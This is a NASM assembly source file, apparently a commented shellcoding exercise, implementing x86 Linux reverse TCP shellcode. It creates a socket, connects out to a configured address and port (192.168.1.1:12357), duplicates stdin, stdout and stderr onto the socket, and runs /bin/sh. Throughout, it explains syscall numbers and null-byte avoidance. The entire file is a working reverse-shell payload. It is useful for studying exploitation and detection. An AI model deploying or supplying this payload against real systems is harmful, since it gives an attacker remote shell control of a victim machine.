199 lines
6.4 KiB
NASM
199 lines
6.4 KiB
NASM
; This program is free software: you can redistribute it and/or modify
|
|
; it under the terms of the GNU General Public License as published by
|
|
; the Free Software Foundation, either version 3 of the License, or
|
|
; (at your option) any later version.
|
|
;
|
|
; This program is distributed in the hope that it will be useful,
|
|
; but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
; GNU General Public License for more details.
|
|
;
|
|
; You should have received a copy of the GNU General Public License
|
|
; along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
;
|
|
;
|
|
; Filename: shell_reverse_tcp.nasm
|
|
; Author: Andrey Arapov <andrey.arapov@gmail.com>
|
|
; 2013 March
|
|
;
|
|
; DESC:
|
|
; - Reverse connects to configured IP and Port
|
|
; - Execs Shell on successful connection
|
|
;
|
|
; IP and Port are the last 6 bytes of the shellcode.
|
|
; In hex \xc0\xa8\x01\x01\x30\x45 (0xc0a80101 = 192.168.1.1 AND 0x3045 = 12357)
|
|
;
|
|
|
|
global _start
|
|
|
|
|
|
section .text
|
|
|
|
_start:
|
|
|
|
;
|
|
; Reverse engineering
|
|
; $ strace -e execve,socket,bind,connect nc 127.0.0.1 12357
|
|
; execve("/usr/bin/nc", ["nc", "127.0.0.1", "12357"], [/* 59 vars */]) = 0
|
|
; socket(PF_NETLINK, SOCK_RAW, 0) = 3
|
|
; bind(3, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 0
|
|
;
|
|
; Here is a part we were looking for:
|
|
;
|
|
; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
|
|
; connect(3, {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
|
|
;
|
|
|
|
;
|
|
; Starting to code
|
|
;
|
|
|
|
;
|
|
; =============================== SOCKET =====================================
|
|
; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
|
|
;
|
|
; int socket(int domain, int type, int protocol);
|
|
;
|
|
; int socketcall(int call, unsigned long *args)
|
|
; socketcall SYS_SOCKET socket() args
|
|
; EAX EBX ECX
|
|
; 102 1 (2, 1, 6)
|
|
;
|
|
; SYS_SOCKET will return file descriptor (fd) in EAX.
|
|
;
|
|
|
|
; EAX
|
|
xor eax, eax
|
|
mov al, 102 ; socketcall
|
|
|
|
; EBX
|
|
xor ebx, ebx
|
|
mov bl, 1 ; SYS_SOCKET socket()
|
|
|
|
; ECX
|
|
xor ecx, ecx
|
|
push ecx
|
|
push BYTE 6 ; IPPROTO_TCP || int protocol);
|
|
push BYTE 1 ; SOCK_STREAM || int type,
|
|
push BYTE 2 ; AF_INET || socket(int domain,
|
|
mov ecx, esp ; ECX - PTR to arguments for socket()
|
|
int 0x80 ; sockfd will be stored in EAX after this call
|
|
|
|
; EAX return
|
|
mov esi, eax ; save socket fd in ESI for later
|
|
|
|
|
|
;
|
|
; =============================== CONNECT =====================================
|
|
;
|
|
; connect(3, {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
|
|
;
|
|
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
|
;
|
|
|
|
jmp short call_get_ip_and_port
|
|
back2shellcode:
|
|
pop edi ; getting ip and port address from ESP
|
|
|
|
; EAX
|
|
xor eax, eax
|
|
mov al, 102 ; socketcall
|
|
|
|
; EBX
|
|
xor ebx, ebx
|
|
mov bl, 3 ; SYS_CONNECT connect()
|
|
|
|
; ECX
|
|
xor edx, edx
|
|
; push edx ; 0.0.0.0 - ALL interfaces
|
|
; push DWORD 0x0100007f ; 127.0.0.1 in reverse *** CONTAINS NULLs ! ***
|
|
; push DWORD 0x0101a8c0 ; 192.168.1.1 in reverse
|
|
push DWORD [edi] ; push IP
|
|
push WORD [edi+0x4] ; push port
|
|
dec ebx ; decrease bl from 3 to 2 to use it in the next push
|
|
push WORD bx ; 2 - AF_INET
|
|
inc ebx ; put back bl to 3 for SYS_CONNECT
|
|
mov ecx, esp ; ptr to struct sockaddr
|
|
|
|
push BYTE 16 ; socklen_t addrlen);
|
|
push ecx ; const struct sockaddr *addr,
|
|
push esi ; connect(int sockfd,
|
|
mov ecx, esp ; ECX = PTR to arguments for connect()
|
|
int 0x80 ; sockfd will be in EBX
|
|
|
|
|
|
|
|
;
|
|
; =============================== DUP FD =====================================
|
|
;
|
|
; Before we spawn a shell, we need to forward all I/O (stdin,stdout,stderr)
|
|
; to a client. For this, we can dup2 syscall to duplicate a file descriptor.
|
|
; man 2 dup2
|
|
; int dup2(int oldfd, int newfd);
|
|
; EAX, EBX, ECX
|
|
; 63 sockfd 0
|
|
; 63 sockfd 1
|
|
; 63 sockfd 2
|
|
;
|
|
|
|
; move our sockfd to EAX
|
|
mov eax, ebx
|
|
|
|
xor eax, eax
|
|
mov al, 63 ; dup2 syscall
|
|
xor ecx, ecx ; 0 - stdin
|
|
int 0x80 ; call dup2(sockfd, 0)
|
|
|
|
mov al, 63 ; dup2 syscall
|
|
mov cl, 1 ; 1 - stdout
|
|
int 0x80 ; call dup2(sockfd, 1)
|
|
|
|
mov al, 63 ; dup2 syscall
|
|
mov cl, 2 ; 2 - stderr
|
|
int 0x80 ; call dup2(sockfd, 2)
|
|
|
|
|
|
;
|
|
; =============================== EXECVE =====================================
|
|
;
|
|
; Now as we forwarded sockfd to a client, we can spawn shell.
|
|
; Prepare the path, in little-endian, using the Python
|
|
; >>> '//bin/sh'[::-1].encode('hex')
|
|
; '68732f6e69622f2f'
|
|
;
|
|
; int execve(const char *filename, char *const argv[], char *const envp[]);
|
|
; EAX EBX, ECX, EDX
|
|
; 11 '//bin/sh' PTR to EBX NULL
|
|
;
|
|
;
|
|
|
|
; EAX
|
|
xor eax, eax
|
|
mov al, 11 ; execve syscall
|
|
|
|
; EBX
|
|
xor edx, edx
|
|
push edx ; NULL termination of '//bin/sh' string
|
|
push 0x68732f6e ; '//bin/sh' in reverse
|
|
push 0x69622f2f ; beginning of '//bin/sh' string is here
|
|
mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
|
|
|
|
; ECX
|
|
push edx ; NULL termination of a stack
|
|
push ebx ; load our '//bin/sh' on a stack
|
|
mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
|
|
|
|
; EDX
|
|
push edx ; NULL terminator
|
|
mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
|
|
int 0x80 ; call execve(EBX, ECX, EDX)
|
|
|
|
|
|
call_get_ip_and_port:
|
|
call back2shellcode
|
|
; dd 0x0101a8c0 ; DWORD 192.168.1.1 reverse (in hex)
|
|
db 0xc0, 0xa8, 0x01, 0x01 ; BYTE 192.168.1.1 straight (in hex)
|
|
; dw 0x4530 ; WORD 12357 reverse (in hex)
|
|
db 0x30, 0x45 ; BYTE 12357 straight (in hex)
|
|
|